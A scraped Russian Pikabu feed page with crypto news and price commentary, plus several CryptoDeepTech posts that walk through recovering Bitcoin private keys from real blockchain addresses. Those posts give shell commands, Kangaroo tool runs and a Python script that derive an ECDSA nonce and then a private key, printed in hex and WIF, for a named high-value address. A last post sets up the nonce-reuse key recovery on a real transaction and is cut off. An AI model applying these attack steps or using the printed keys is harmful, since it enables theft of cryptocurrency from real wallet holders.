Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Регистрируясь, я даю согласие на обработку данных и условия почтовых рассылок.
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр Вы владелец небоскреба! Стройте этажи, управляйте магазинами и работниками!

Небоскреб Мечты

Казуальные, Симуляторы, 2D

Играть

Топ прошлой недели

  • cristall75 cristall75 6 постов
  • 1506DyDyKa 1506DyDyKa 2 поста
  • Animalrescueed Animalrescueed 35 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая «Подписаться», я даю согласие на обработку данных и условия почтовых рассылок.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
0 просмотренных постов скрыто
8
Kriptoalien
Kriptoalien
Лига Криптовалют

Сбербанк расширяет доступ к своей блокчейн DeFi-платформе ComUnity на базе Ethereum⁠⁠

2 года назад

Сбербанк анонсировал расширение доступа к своей собственной платформе децентрализованных финансов (DeFi) под названием ComUnity для большего числа разработчиков. Об этом сообщает РБК-Крипто со ссылкой на заявление Александра Нама, директора Лаборатории блокчейн в Сбербанке.

Сбербанк расширяет доступ к своей блокчейн DeFi-платформе ComUnity на базе Ethereum

Заявляется, что ComUnity является собственной блокчейн-платформой Сбера и разработана на базе Ethereum. На основе неё можно создавать инфраструктуру для выпуска и обращения цифровых активов. Платформа интегрирована в сервисы банка, что обеспечивает возможность совершения операций с использованием рубля.

Нам рассказал, что для привлечения разработчиков и экспертов в сфере децентрализованных финансов (DeFi) на новую площадку было запущено тематическое сообщество ComUnity. Принятие решения о вступлении в сообщество осуществляется Лабораторией блокчейн в Сбербанке на основе опыта, экспертизы и репутации кандидата.

Подключившиеся разработчики смогут протестировать функционал платформы – доступны каталог приложений, инструменты для разработки собственных проектов. Можно также поднять свою ноду, интегрировать собственные приложения, выпускать токены или размещать смарт-контракты.

Приоритетный доступ к блокчейн-платформе «Сбера» получат участники хакатона по децентрализованным финансам (DeFi).

Особенный интерес в Сбере проявят к тем разработчиком, кто представит проекты автоматических маркетмейкеров (позволяют пользователям стать провайдерами ликвидности и получать доход от комиссии) и криптовалютных кошельков с возможностью выпуска NFT.

Участники проекта получат доступ к экспертизе и консультациям со стороны специалистов Сбера. Кроме того, у разработчиков будет возможность добавить свои проекты в каталог приложений платформы.

Окончательные результаты хакатона будут объявлены 27 июня, а 4 августа состоится финальное событие с награждением победителей. За первое место предусмотрена награда в размере 400 тысяч рублей, за второе – 250 тысяч рублей, а третье место получит 150 тысяч рублей.

Источник: РБК.

Читайте также:

  • Министр финансов РФ Силуанов: за использованием цифровых валют – будущее

  • Глава Сбербанка: токенизация и цифровизация ресурсов могут обеспечить до 10% мирового ВВП к 2030 году

  • Альфа-банк провёл тестовое размещение ЦФА, обеспеченных только денежными правами

Показать полностью
Криптовалюта Финансы NFT Россия Сбербанк
1
CRYPTOMOMENTS
CRYPTOMOMENTS

КУДА ПОЙДЁТ ЦЕНА БИТКОИНА В 2023 году?⁠⁠

2 года назад

2022 стал годом американских горок для криптовалют – с рынка испарилось почти $1,4 трлн. Вопрос: какая судьба постигнет крипту в текущем году.

Криптовалюты достигли пика стоимости в ноябре 2021 года – с тех пор рынок потерял более $2 трлн. Неудивительно, ведь 2022 год оказался поистине сумасшедшим для всех секторов и рынков: макроэкономическая нестабильность, банкротство крупнейших игроков, проблемы с ликвидностью, высокая инфляция и рост процентных ставок… перечисление можно продолжать до бесконечности.

Конечно же, состояние рынка вызывает беспокойство, поэтому все большее число инвесторов стремится уйти от рискованных активов – в числе которых как раз акции и криптовалюта. За последний год мы увидели, что динамика криптовалюты во многих случаях коррелировала с динамикой фондового рынка США.

Технический анализ

Первое, на что стоит обратить внимание, — биткоин перешагнул важнейшую отметку $22 800. Преодоление этого экстремума в среднесрочной перспективе говорит об ослаблении сил продавца после практически двухлетнего медвежьего рынка.

Около недели первая криптовалюта движется в узком боковике $23 400-22 300. После второй волны роста нет отката, цена держится у своих локальных максимумов. Отсутствует продавец, который защищал бы свои шортовые позиции.

Пять месяцев, начиная с июня, цена находилась в большом боковом накоплении $18 400-22 300. Две недавние волны роста не просто вернули цену в этот диапазон, а импульсно пробили его и помогли закрепиться выше. Это очень сильный бычий знак.

Отсутствует нарастающее давление продавца, согласно объему. Рынок растет, объем — нет. Цену никто не сдерживает. При кульминации движения наблюдается кульминационный объем, чего нет даже близко.

Основной объем ликвидаций лонгов сейчас находится в диапазоне 16000-22000$.

Большое количество ликвидов шортов находится в диапазоне 26000-29000 (Kingfisher)

Эти уровни всегда выступают магнитами.

На графике ликвидаций спокойно, пиковые ликвидации отсутствуют. Это можно объяснить тем, что основная толпа сейчас вне рынка и не понимает, что делать. Из-за слишком импульсного роста зайти где-либо основному количеству игроков не удалось.

Появление первых пиковых ликвидаций будет говорить о том, что в рынок возвращается толпа. Она будет лонговать, так как события, новости и «зеленые цены» начнут подталкивать к этому всех тех, кто упустил основные волны роста.

Вывод:

Локальная картина btc:

Локально считаем, что рынок перегрет и ему пора разгрузиться. В ближайшее время цена возможно сходит в район 19,000$ или ниже. Затем - восстановление и рост.

Интенсивный рост без остановок маловероятен - куча неравномерно проторгованных промежутков, которые теперь будут манить цену.

+Уже явная дивергенция по осциллятору, который указывает на перекупленность рынка.

Показать полностью 4
Криптовалюта Курс биткоина Биткоины Инвестиции Биржа NFT Инвестиции в акции Облигации Фондовый рынок Доллары Инвестировать просто Курс доллара Рубль Валюта Т-Банк Финансы Инфляция Налоги Сбербанк Газпром Длиннопост
6
DELETED
Внутри Крипты
Серия Новости крипторынка

5 главных новостей прошлой недели на рынке криптовалют⁠⁠

3 года назад
5 главных новостей прошлой недели на рынке криптовалют

1️⃣ Председатель CFTC изменил свое мнение о том, что Ethereum является товаром.

Ростин Бенхам, председатель комиссии по торговле товарами и фьючерсами (CFTC), отказался от предыдущих утверждений о том, что эфир (ETH) и другие альткойны должны подпадать под юрисдикцию его агентства. Говоря о будущем регулировании криптографии после банкротства FTX, он предположил, что только биткойн следует рассматривать как товар.


2️⃣ Крупнейший банк России объявляет о совместимости с Ethereum, интегрирует MetaMask.


Платформа Сбера будет технологически совместима с крупнейшей в мире децентрализованной финансовой экосистемой Ethereum. Это означает, что разработчики смогут свободно передавать смарт-контракты и целые проекты между сетью блокчейнов банка и Ethereum. Блокчейн-платформа Сбера также будет интегрирована с кошельком MetaMask от ConsenSys, который недавно подвергся критике за отслеживание IP-адресов. Пользователи и разработчики смогут выпускать собственные токены и создавать смарт-контракты.


3️⃣ Бразилия принимает закон о легализации криптовалюты в качестве способа оплаты.


Пока Бразилия не сделала биткойн законным платежным средством, как и Сальвадор в прошлом году, южноамериканская нация приняла закон, который легализует криптовалютные платежи по всей стране. Палата депутатов Бразилии, федеральный законодательный орган, приняла нормативную базу, легализующую использование криптовалют в качестве способа оплаты внутри страны. Хотя это дает значительный прогресс для криптовалюты в Бразилии, закон по-прежнему требует подписи президента Бразилии для его принятия.


4️⃣ Более 643 000 000 долларов в Solana (SOL) теперь контролируются ликвидаторами в рамках процесса банкротства Alameda Research.


Рассматриваемые токены SOL находятся в заблокированном пакете, это означает, что ни один из них не может быть продан на открытом рынке, поскольку монеты в настоящее время не находятся в обращении. Согласно Solana Compass, Alameda Research ранее была крупнейшим держателем SOL, заблокированным на стейкинг-счете. Платформа сетевой аналитики показывает, что весь тайник SOL, скорее всего, будет разблокирован в первой половине 2025 года.


5️⃣ Polygon интегрируется c сетью Graph, устанавливая огромную веху.


Решение для масштабирования L2 Polygon объявило об интеграции с The Graph, децентрализованным протоколом, используемым для индексации данных Web3. Интеграция позволит пользователям Polygon получить доступ к открытым API для поддержки своих dApps.

Показать полностью
Криптовалюта Биткоины Инвестиции Биржа NFT Новости Сбербанк
1
CryptoDeepTech
CryptoDeepTech

Ускорение secp256k1 с помощью эндоморфизма⁠⁠

3 года назад

В этой статье мы рассмотрим функцию ускорение secp256k1 с помощью эндоморфизма которая помогает в оптимизации проверки ECDSA для криптовалюты Биткоин, но для начала немного истории.

12 января 2009 года Сатоши Накамото в самых ранних транзакциях Биткоина отправил Хэлу Финни 10 BTC.

То, что Сатоши Накамото выбрал Хэла первым получателем Биткоинов, неудивительно. Сатоши очень уважал Хэла, который зарекомендовал себя как один из самых ярких программистов и криптографов в мире, разработав систему шифрования PGP. Хэл также заложил важную основу для многоразового доказательства работы, которое Сатоши будет использовать при разработке Биткоина.

Будучи одним из лучших в мире криптографов, Хэл понял, что Биткоин стал огромным прорывом сразу же после того, как он наткнулся на него.

Еще в 2008 году он назвал Биткоин «очень многообещающей идеей».

Этот твит, опубликованный 11 января 2009 года, является достаточным доказательством того, что Хэл предсказал успех Биткоина еще до того, как многие узнали, что это такое.

Прошло два года и в 2011 году Хэл Финни как разработчик и Биткоин-энтузиаст написал на форуме Bitcointalk, что функция эндоморфизма secp256k1 может быть использована для ускорения проверки подписи ECDSA

LAMBDA и BETA — это значения на кривой secp256k1, где:

λ^3 (mod n) = 1 β ^ 3 (mod p) = 1

secp256k1 использует следующее простое число для своих координат x и y:

p = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc2f

и порядок кривой:

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

Первым шагом является вычисление значений LAMBDA и BETA, таких что для любой точки кривой Q = (x, y):

LAMBDA * Q = (BETA*х mod р, у)

Это так называемый эффективно вычислимый эндоморфизм, и он означает, что вы можете очень быстро умножить любую точку кривой secp256k1 на это специальное значение LAMBDA, выполнив одно умножение mod p.

Значение которую нашел и опубликовал Хэл Финни:

LAMBDA = 0x5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72

BETA = 0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee

Учитывая, что мы можем быстро умножать на LAMBDA, хитрость заключается в вычисление kQ. Сначала используем вычисление Q' = lambdaQ. Затем k нужно разбить на две части k1 и k2, каждая примерно в половину ширины n, так что:

k = k1 + k2*LAMBDA mod n

затем

k*Q = (k1 + k2*LAMBDA)*Q = k1*Q + k2*LAMBDA*Q = k1*Q + k2*Q'

Это последнее выражение можно эффективно вычислить с помощью алгоритма двойного умножения, а поскольку k1 и k2 имеют половинную длину, мы получаем ускорение.

Недостающая часть разбивает k на k1 и k2. При этом используются следующие 4 значения:

а1 = 0x3086d221a7d46bcde86c90e49284eb15

b1 = -0xe4437ed6010e88286f547fa90abfe4c3

а2 = 0x114ca50f7a8e2f3f657c1108d9d44cfd8

b2 = 0x3086d221a7d46bcde86c90e49284eb15

(это нормально, что a1 = b2)

Используем их следующим образом, чтобы разделить k:

c1 = RoundToNearestInteger(b2*k/n)

c2 = RoundToNearestInteger(-b1*k/n)

k1 = k - c1*a1 - c2*a2

k2 = -c1*b1 - c2*b2

В конечном итоге мы получаем примерно 20%-е ускорение из-за уменьшения вдвое количества удвоений.

Это дает многим алгоритмам, которые можно группировать по нескольким точкам, эффективность, которую они имели бы при удвоенном количестве публичных ключей.

Это ускорение при эквивалентном уровне оптимизации делает secp256k1 самой быстрой для проверки из всех широко используемых кривых.

Мы узнали о существование эндоморфизма при более детальном изучение репозитории от разработчика и исследователя Jean Luc Pons

Ранее мы опубликовали статью: "Pollard's Kangaroo находим решения дискретного логарифма secp256k1 PRIVATE KEY + NONCES в известном диапазоне" , где мы использовали исходный код для сборки Kangaroo от Jean Luc Pons.

На основе ускоренного механизма Jean Luc Pons указал VanitySearch

Откроем main.cpp

main.cpp

main.cpp

В строках 255 и 256 мы видим что Jean Luc Pons применил функцию ускорение эллиптической кривой secp256k1 с помощью эндоморфизма.

lambda.SetBase16("5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72");

lambda2.SetBase16("ac9c52b33fa3cf1f5ad9e3fd77ed9ba4a880b9fc8ec739c2e0cfc810b51283ce");

Перейдем к экспериментальной части:

Как мы помним из статьи мы разбирали транзакции Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

из списка Bitcoin Rich List на общую сумму более 10 миллионов долларов США, возьмем этот Биткоин Адрес в качестве примера

Откроем в терминале Google Colab [TerminalGoogleColab] и воспользуемся репозиторием «07EndomorphismSecp256k1»

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/07EndomorphismSecp256k1/

pip3 install base58

Откройте код endomorphism.py в строке 145 мы используем все короткие значение для ускорение secp256k1 с помощью эндоморфизма

def split_scalar_endo(k):

n = N

a1 = 0x3086d221a7d46bcde86c90e49284eb15

b1 = -0xe4437ed6010e88286f547fa90abfe4c3

a2 = 0x114ca50f7a8e2f3f657c1108d9d44cfd8

b2 = a1

c1 = div_nearest(b2 * k, n)

c2 = div_nearest(-b1 * k, n)

k1 = mod(k - c1 * a1 - c2 * a2, n)

k2 = mod(-c1 * b1 - c2 * b2, n)

k1neg = k1 > POW_2_128

k2neg = k2 > POW_2_128

if k1neg:

k1 = n - k1

if k2neg:

k2 = n - k2

return (k1neg, k1, k2neg, k2)


Скоприуем закрытый ключ в HEX-формате которую мы опубликовали в статье

HEX: 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Запустим Python-скрипт endomorphism.py указав закрытый ключ:

python3 endomorphism.py 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b > pubkey.txt

Результат публичного ключа сохранится в файл: pubkey.txt

Откроем файл: pubkey.txt и проверим:

cat pubkey.txt

04ca5606a1e820e7a2f6bb3ab090e8ade7b04a7e0b5909a68dda2744ae3b8ecbfa280a47639c811134d648e8ee8096c33b41611be509ebca837fbda10baaa1eb15

Далее получим Биткоин Адрес запустив Python-скрипт pubtoaddr.py

python3 pubtoaddr.py

Откроем файл: BitcoinAddress.txt и проверим:

cat BitcoinAddress.txt

14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

WIF: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e

HEX: 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Проверяем закрытый ключ на сайте bitaddress

Проверяем закрытый ключ на сайте bitaddress

Blockchain:

https://btc.exan.tech/address/14NWDXkQwcGN1Pd9fboL8npVynD5Sf...


По данной тематике вы можете ознакомиться литературой:


Галлант, Роберт П., Роберт Дж. Ламберт и Скотт А. Ванстон. «Более быстрое умножение точек на эллиптических кривых с эффективными эндоморфизмами». Ежегодная международная конференция по криптологии, стр. 190–200. Спрингер, Берлин, Гейдельберг, (2001)

Хэнкерсон, Даррел, Альфред Дж. Менезес и Скотт Ванстон. «Руководство по криптографии на эллиптических кривых». Компьютерные обзоры 46, вып. 1 (2005)

Хэл Финни. bitcointalk — «Ускорение проверки подписи». (2011) https://bitcointalk.org/index.php?topic=3238.0

Блахут, Ричард Э. «Криптография и безопасная связь». Издательство Кембриджского университета, (2014)


Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN


Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/DH6FyNY-Gh0

Источник: https://cryptodeep.ru/endomorphism

Показать полностью
[моё] Биткоины Криптовалюта NFT Финансы Инвестиции в акции Фондовый рынок Биржа Инвестиции Акции Доллары Рубль Курс доллара Валюта Рост цен Газпром Инфляция Т-Банк Сбербанк Банк Кредит Видео YouTube Длиннопост
1
CryptoDeepTech
CryptoDeepTech

Pollard's Kangaroo находим решения дискретного логарифма secp256k1 PRIVATE KEY + NONCES в известном диапазоне⁠⁠

3 года назад

В этой статье мы рассмотрим самый быстрый алгоритм для ECDLP из области вычислительной теории чисел, кенгуру Полларда также называют алгоритм лямбды Полларда.

Метод кенгуру Полларда вычисляет дискретные логарифмы в произвольных циклических группах. Он применяется, если известно, что дискретный логарифм лежит в определенном диапазоне, скажем [ a , b ], а затем имеет ожидаемое время выполнения групповой операции.

Преимущество Pollard's Kangaroo:

использует очень мало памяти

можно распараллелить с линейным ускорением

можно эффективно отслеживать требования к объему памяти

Все это делает метод кенгуру самым мощным методом решения задачи дискретного логарифмирования.

Один из способов сломать схемы подписи ECDSA — это решить проблему дискретного логарифмирования.

В настройках ECDSA алгоритмы субэкспоненциального времени, такие как метод индексного исчисления, не применяются, а лучшим известным на сегодняшний день методом решения лежащем в их основе DLP являются метод кенгуру Полларда. Мы постараемся не нагружать вас с различными теоретическими аспектами. Перейдем сразу к экспериментальной части.

Как мы знаем в блокчейне Биткоина отправитель монет BTC всегда раскрывает свой публичный ключ.

Для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Остается только определить диапазон PRIVATE KEY или диапазон NONCES.

Случается такое что некоторые устройства которые создают подписиECDSAв блокчейне Биткоина могут частично раскрывать байты информации о значение "K" (NONCES)

Мы считаем что это потенциальная угроза потери монет BTC и настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

В недалеком прошлом мы провели криптоанализ в блокчейне Биткоина и нашли несколько таких транзакции.

Итак, взгляните на этот Биткоин Адрес на сумму вывода монет 501.06516041 BTC

В транзакциях этого Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE была частичная раскрываемость байтов информации о значение "K" (NONCES)

Как мы знаем из прошлой нашей статьи

habr.com/ru/post/671932/

habr.com/ru/post/671932/

Поиск диапазона секретного ключа

Давайте найдем эту транзакцию и с помощью метода кенгуру Полларда восстановим секретный ключ

Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Для поиска RawTX воспользуемся репозиторием «01BlockchainGoogleDrive»

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/01BlockchainGoogleDrive/

chmod +x getrawtx.sh

./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE


Запуск Bash-скрипта: getrawtx.sh

Всё содержимые транзакции Биткоин Адреса 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE сохранилось в файл: RawTX.json

Открываем файл: RawTX.json и находим эту транзакцию [строка №10]

Воспользуемся командой export и сохраним эту строку №10 из RawTX.json отдельно в RawTX.txt

export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt

cat RawTX.txt

Узнаем TxID откроем сайт Decode Raw Bitcoin Hexadecimal Transaction и вставим наш RawTXВ результате мы получаем TxID

В результате мы получаем TxID

TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

Открываем по ссылке TxID:

https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2...

Проверяем RawTX

Проверяем RawTX

Теперь узнаем частичную раскрываемость байтов информации о значение "K" (NONCES)

Для этого мы воспользуемся скриптом «RangeNonce»

«RangeNonce» - это скрипт по поиску диапазона секретного ключа

Выберем версию для дистрибутива GNU/Linux т.к. Google Colab предоставляет UBUNTU 18.04

RangeNonce

RangeNonce

Загрузим все файлы в Google Colab

RangeNonce + Google Colab

RangeNonce + Google Colab

Разрешим права доступа для скрипта и запустим скрипт «RangeNonce»

Команды:

chmod +x RangeNonce

./RangeNonce

cat Result.txt

Все сохранится в файл: Result.txt

Result.txt

Result.txt

Это и есть частичная раскрываемость байтов информации значение "K" (NONCES)

Итак, наш секретный ключ находится в диапазоне:

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000

K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff

Обратите внимание, на первоначальные 32 цифр и букв HEX формата значение сигнатуры Z совпадает с диапазоном секретного ключа то есть значение "K" (NONCES)

Это очень серьезная ошибка подписи ECDSA

Как мы говорили выше для метода кенгуру Полларда достаточно знать публичный ключ или значение сигнатуры R ( значение R - это тоже своего рода публичный ключ от Nonces т.к. это точка координата x на плоскости эллиптической кривой secp256k1)

Значение сигнатуры R в нашем случае:

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Скрипт RangeNonce добавил нужный нам префикс 02 создав сжатый публичный ключ

K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Теперь у нас есть информация:

диапазон секретного ключа

сжатый публичный ключ

Воспользуемся исходным кодом для сборки программы Pollard's Kangaroo от французского разработчика Jean-Luc PONS

Обратите внимание, что вы можете самостоятельно сделать сборку на CUDA для GPU чтобы увеличить скорость расчетов

Мы сделаем обычную сборку для CPU

Команды:

cd /

cd content/CryptoDeepTools/06KangarooJeanLucPons/

ls

sudo apt-get update

sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

После всех установок пакетов сделаем сборку запустив простую команду:

make

Сборка прошла успешно!

Проверим версию:

./kangaroo -v

Итак, мы создали версию «Kangaroo v2.2»

Чтобы продемонстрировать работоспособность «Kangaroo v2.2» для CPU приподнимем диапазон и сохраним все в файл: rangepubkey.txt

Открываем текстовый файл: rangepubkey.txt

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff

0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Очистим терминал командой:

clear

Запустим «Kangaroo v2.2» результат будет автоматический сохранен в файл: savenonce.txt

./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt

Время поиска заняло 1 мин. 18 сек.

Результат в файле: savenonce.txt

Откроем файл: savenonce.txt

Мы получили секретный ключ это и есть значение "K" (NONCES)

Key# 0 [1S]Pub: 0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06

Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce

K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES

K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce

Закрытый ключ

Теперь зная значение "K" (NONCES) мы восстановим закрытый ключ к Биткоин Адресу: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Вернемся к началу, как мы помним скрипт «RangeNonce» раскрыл нам информацию о диапазоне значение "K" (NONCES), а так же информацию SIGNATURES

SIGNATURES

SIGNATURES

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7

Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

Получим закрытый ключ по формуле на Python-скрипт: calculate.py

PRIVKEY = ((((S * K) - Z) * modinv(R,N)) % N)

def h(n):

return hex(n).replace("0x","")

def extended_gcd(aa, bb):

lastremainder, remainder = abs(aa), abs(bb)

x, lastx, y, lasty = 0, 1, 1, 0

while remainder:

lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)

x, lastx = lastx - quotient*x, x

y, lasty = lasty - quotient*y, y

return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):

g, x, y = extended_gcd(a, m)

if g != 1:

raise ValueError

return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7

Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

print (h((((S * K) - Z) * modinv(R,N)) % N))

Команды:

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/m...

python3 calculate.py

PRIVKEY = 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Проверяем закрытый ключ на сайте bitaddress


ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

WIF: 5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e

HEX: 23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Закрытый ключ найден!

Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN


Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/UGUJyxOhBBQ

Источник: https://cryptodeep.ru/kangaroo

Показать полностью 2
[моё] Криптовалюта Биткоины NFT Финансы Доллары Фондовый рынок Биржа Рубль Валюта Инвестиции Курс доллара Т-Банк Рост цен Инвестиции в акции Кризис Сбербанк Банк Кредит Деньги Ипотека Видео YouTube Длиннопост
2
CryptoDeepTech
CryptoDeepTech

Как конвертировать публичные ключи Bitcoin-PUBKEY HEX в Bitcoin-адрес Base58 и проверить баланс на наличие монет BTC⁠⁠

3 года назад

В этом видеоматериале мы научимся тому, как в большом количестве данных проверить баланс монет Биткоина используя для этого Python-скрипт bitcoin-checker py
Так же мы научимся конвертировать публичный ключ Биткоина PUBKEY (HEX) в Биткойн Адрес (Base58) всю эту большую работу делает Python-скрипт pubtoaddr py
В итоге мы с особой легкостью будем проверять баланс Биткоина, сканируя Блокчейн в терминале Google Colab

Источник: https://cryptodeep.ru/check-bitcoin-address-balance

Показать полностью
[моё] Биткоины Криптовалюта NFT Инвестиции Инвестиции в акции Фондовый рынок Финансы Доллары Рубль Биржа Т-Банк Валюта Рост цен Сбербанк Акции Газпром Нефть Инфляция Банк Деньги Видео YouTube
0
CryptoDeepTech
CryptoDeepTech

Самая первая серьезная уязвимость в Blockchain и как получить публичный ключ Bitcoin ECDSA значение RSZ из файла RawTX⁠⁠

3 года назад

В этой статье мы поговорим о извлечение значений подписи ECDSA R, S, Z из блокчейна Биткойн, но для начало вспомним о самой первой серьезной уязвимости в транзакции блокчейн которую обнаружил Нильс Шнайдер (Nils Schneider он же – tcatm)

Биткоин-разработчик и владелец "BitcoinWatch" & "BitcoinCharts".

Document [PDF]: Private Key Recovery Combination Attacks: On Extreme Fragility of Popular Bitcoin Key Management, Wallet and Cold Storage Solutions in Presence of Poor RNG Events

25 декабря 2012 года Нильс обнаружил потенциальную слабость в некоторых транзакциях блокчейна Биткойна.

Посмотрите на эту транзакцию:

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

Эта транзакция имеет два входа и один выход.

Если вы внимательно посмотрите на два входных скрипта, то заметите, что в начале и в конце есть довольно много одинаковых байтов.

Эти байты в конце представляют собой закодированный в шестнадцатеричном формате публичный ключ адреса, на который расходуются монеты, так что в этом нет ничего плохого.

Однако первая половина скрипта — это фактическая подпись (r, s):

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

Как видите, r1 равно r2. Это огромная проблема.

Мы сможем восстановить закрытый ключ на этот публичный ключ:

04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

Для этого мы можем воспользоваться простой формулой из школьной алгебры ;)

private key = (z1*s2 - z2*s1)/(r*(s1-s2))

Нам просто нужно найти z1 и z2

Это хэши выходов, которые нужно подписать. Давайте получим выходные транзакции и посчитаем их (вычисляется OP_CHECKSIG):

z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

Далее упакуем все эти значение в один Python-скрипт: vulnerabilityR.py

Python-скрипт: vulnerabilityR.py

